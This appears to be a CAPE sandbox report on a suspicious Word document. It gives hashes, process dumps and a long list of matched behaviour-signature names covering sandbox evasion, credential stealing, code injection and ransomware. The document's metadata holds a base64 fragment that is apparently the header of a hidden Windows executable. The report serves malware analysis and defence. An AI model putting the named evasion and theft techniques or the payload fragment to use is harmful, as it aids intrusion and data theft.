Ssdeep 48:9mV5NrJ54E1SO6xLfUMcZ0BIKoGn5FxwYzZX2ynWM2d8gy7znl:UV5RJ4xFOYtXl
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file
File name UUNFfP8FMSDGQ.doc
Associated Filenames
C:\Users\user\AppData\Local\Temp\UUNFfP8FMSDGQ.doc
File Size 341504 bytes
File Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Subject: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACseA3F6BljlugZY5boGWOWh2/IlsEZY5aHb/2W+BljlodvyZabGWOW4WHwluMZY5boGWKWjhljlodvzJblGWOWh2/4lukZY5aHb/6W6RljllJpY2joGWOWAAAAAAAAAABQRQAATAEEALnx1FkAAAAAAAAAAOAAAiELAQoAALgAAACMAAAAAAAADj4AAAAQAAAA0AAAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAABwAQAABAAAAAAAAAIAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAADQBQEARAAAAJT+AABQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFABAHQLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANjyAABAAAAAAAAAAAAAAAAA0AAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAALLcAAAAQAAAAuAAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABQ2AAAA0AAAADgAAAC8AAAAAAAAAAAAAAAAAABAAABALmRhdGEAAACEOwAAABABAAAeAAAA9AAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAA2BYAAABQAQAAGAAAABIBAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, Author: Rafael Moon, Template: Normal, Last Saved By: Nick Daemoji, Revision Number: 7, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:46:00, Create Time/Date: Tue Oct 3 01:36:00 2017, Last Saved Time/Date: Wed Oct 4 14:20:00 2017, Number of Pages: 2, Number of Words: 412, Number of Characters: 2536, Security: 0
MD5 085be1b8b8f3e90be00f6a3bcea2879f
SHA1 cc7607015cd7a1a4452acd3d87adabdd7e005bd7
SHA256 c4be15f9ccfecf7a463f3b1d4a17e7b4f95de939e057662c3f97b52f7fa3c52f
CRC32 F550FCA3
Ssdeep 6144:yaZ5a2auBso4RCTS8I7Dh4tkX7rETf1I3pS:35a2bBso6qGf7AT9I3pS
ClamAV None
Yara None matched
CAPE Yara None matched
VirusTotal Search for Analysis
Submit file
Sorry! No CAPE files.
Process Name WINWORD.EXE
PID 1184
Dump Size 1415168 bytes
Module Path C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
Type PE image: 32-bit executable
MD5 f47324ad80c7e69bac9928c18751dcaa
SHA1 14a1fa1ecf77a3129acdda1a3546888d51ae8dc1
SHA256 b036202a353f1033165e719b4c7d9b70a1c4c13b05f3883fe0852c64e70e9139
CRC32 68BD0E45
Ssdeep 24576:fLZmQR3caJZLZmvNzc0TDZodoSRsfHMbvmQ6:zZmQyaJ1ZmFcqi+SRAG+
ClamAV None
Yara None matched
CAPE Yara None matched
Dump Filename b036202a353f1033165e719b4c7d9b70a1c4c13b05f3883fe0852c64e70e9139
Download
Process Name splwow64.exe
PID 2444
Dump Size 67072 bytes
Module Path C:\Windows\splwow64.exe
Type PE image: 64-bit executable
MD5 2d5a6a1a026c2d77047e912d388667a8
SHA1 bbf60c5ee6abcb3efa9ec52f965b6bdc6f703475
SHA256 a6ec7e985d82adfbd69b2e96074ae1968f65bcbbbba7f9de2363a2b0d30f9d0b
CRC32 89AE8148
Ssdeep 768:IxBYAXYA3YANlw1J0jx5m88MbGl9P7HkNLNL0DiYj9mq0kx5VQGv+/+dWwfoGZ3d:NV/49ox+/9wffLSaVJ6TFd7vs
ClamAV None
Yara None matched
CAPE Yara None matched
Dump Filename a6ec7e985d82adfbd69b2e96074ae1968f65bcbbbba7f9de2363a2b0d30f9d0b
Download
Process Name explorer.exe
PID 1708
Dump Size 2861568 bytes
Module Path C:\Windows\explorer.exe
Type PE image: 64-bit executable
MD5 7dff1238c9110e6be3027c3bd3e9af90
SHA1 7931060127e6a5a767ec91ad0ce12c6dc6e8f133
SHA256 c689f72f7ea98b7bb4fa036d0ab57bb614ed065868335e2a03d77905b392140e
CRC32 4389A6A4
Ssdeep 49152:8xrceI/lIRYraisQhFCU4NAvYYYYYYYYYYYRYYYYYYYYYYE3iA7/eFUJN9ojosod:OrcPlIWyyvYYYYYYYYYYYRYYYYYYYYYh
ClamAV None
Yara None matched
CAPE Yara None matched
Dump Filename c689f72f7ea98b7bb4fa036d0ab57bb614ed065868335e2a03d77905b392140e
Download

Comments



No comments posted

Processing ( 20.565 seconds )

  • 12.539 Strings
  • 2.672 CAPE
  • 2.419 ProcDump
  • 1.995 BehaviorAnalysis
  • 0.247 Deduplicate
  • 0.217 Static
  • 0.213 Dropped
  • 0.15 TargetInfo
  • 0.1 TrID
  • 0.007 NetworkAnalysis
  • 0.005 AnalysisInfo
  • 0.001 Debug

Signatures ( 1.845 seconds )

  • 0.519 antidbg_windows
  • 0.295 antiav_detectreg
  • 0.101 infostealer_ftp
  • 0.083 decoy_document
  • 0.065 api_spamming
  • 0.064 NewtWire Behavior
  • 0.062 antianalysis_detectreg
  • 0.058 stealth_timeout
  • 0.057 infostealer_im
  • 0.036 antivm_generic_scsi
  • 0.03 antivm_vbox_keys
  • 0.029 antivm_vbox_window
  • 0.023 antisandbox_script_timer
  • 0.021 antivm_vmware_keys
  • 0.02 recon_fingerprint
  • 0.017 kibex_behavior
  • 0.015 antivm_xen_keys
  • 0.015 darkcomet_regkeys
  • 0.014 stealth_file
  • 0.014 antivm_parallels_keys
  • 0.013 betabot_behavior
  • 0.012 antivm_generic_services
  • 0.011 uac_bypass_eventvwr
  • 0.011 Doppelganging
  • 0.011 persistence_autorun
  • 0.011 geodo_banking_trojan
  • 0.01 mimics_filetime
  • 0.01 antivm_generic_disk
  • 0.01 antivm_generic_diskreg
  • 0.009 antivm_vpc_keys
  • 0.009 ransomware_files
  • 0.008 recon_programs
  • 0.008 antiav_detectfile
  • 0.007 virus
  • 0.006 bootkit
  • 0.006 antiemu_wine_func
  • 0.006 dynamic_function_loading
  • 0.006 infostealer_bitcoin
  • 0.005 malicious_dynamic_function_loading
  • 0.005 infostealer_browser_password
  • 0.005 kovter_behavior
  • 0.005 hancitor_behavior
  • 0.005 antivm_xen_keys
  • 0.005 antivm_hyperv_keys
  • 0.005 remcos_regkeys
  • 0.004 injection_createremotethread
  • 0.004 InjectionCreateRemoteThread
  • 0.004 antivm_generic_bios
  • 0.004 antivm_generic_system
  • 0.004 browser_security
  • 0.004 bypass_firewall
  • 0.004 packer_armadillo_regkey
  • 0.003 InjectionInterProcess
  • 0.003 injection_runpe
  • 0.003 exploit_getbasekerneladdress
  • 0.003 InjectionProcessHollowing
  • 0.003 shifu_behavior
  • 0.003 antivm_generic_cpu
  • 0.003 antivm_vbox_files
  • 0.003 disables_browser_warn
  • 0.003 ransomware_extensions
  • 0.002 antivm_vbox_libs
  • 0.002 persistence_bootexecute
  • 0.002 exploit_heapspray
  • 0.002 stack_pivot
  • 0.002 Sodinokibi Behavior
  • 0.002 RegBinary
  • 0.002 exploit_gethaldispatchtable
  • 0.002 EvilGrab
  • 0.002 Raccoon Behavior
  • 0.002 persistence_autorun_tasks
  • 0.002 antianalysis_detectfile
  • 0.002 modify_proxy
  • 0.001 persistence_registry_script
  • 0.001 tinba_behavior
  • 0.001 banker_prinimalka
  • 0.001 hawkeye_behavior
  • 0.001 network_tor
  • 0.001 antidebug_guardpages
  • 0.001 rat_nanocore
  • 0.001 antiav_avast_libs
  • 0.001 infostealer_browser
  • 0.001 gootkit_behavior
  • 0.001 modifies_desktop_wallpaper
  • 0.001 creates_largekey
  • 0.001 antisandbox_sunbelt_libs
  • 0.001 antisandbox_sboxie_libs
  • 0.001 exec_crash
  • 0.001 InjectionSetWindowLong
  • 0.001 cerber_behavior
  • 0.001 antiav_bitdefender_libs
  • 0.001 antidbg_devices
  • 0.001 antiemu_wine_reg
  • 0.001 antivm_vmware_files
  • 0.001 browser_addon
  • 0.001 disables_system_restore
  • 0.001 disables_windows_defender
  • 0.001 office_martian_children
  • 0.001 modify_security_center_warnings
  • 0.001 office_macro
  • 0.001 rat_pcclient
  • 0.001 stealth_hiddenreg

Reporting ( 0.038 seconds )

  • 0.038 CompressResults
Task ID 94381
Mongo ID 5d9e4e33f69fab997c67b322
Cuckoo release 1.3-CAPE
Delete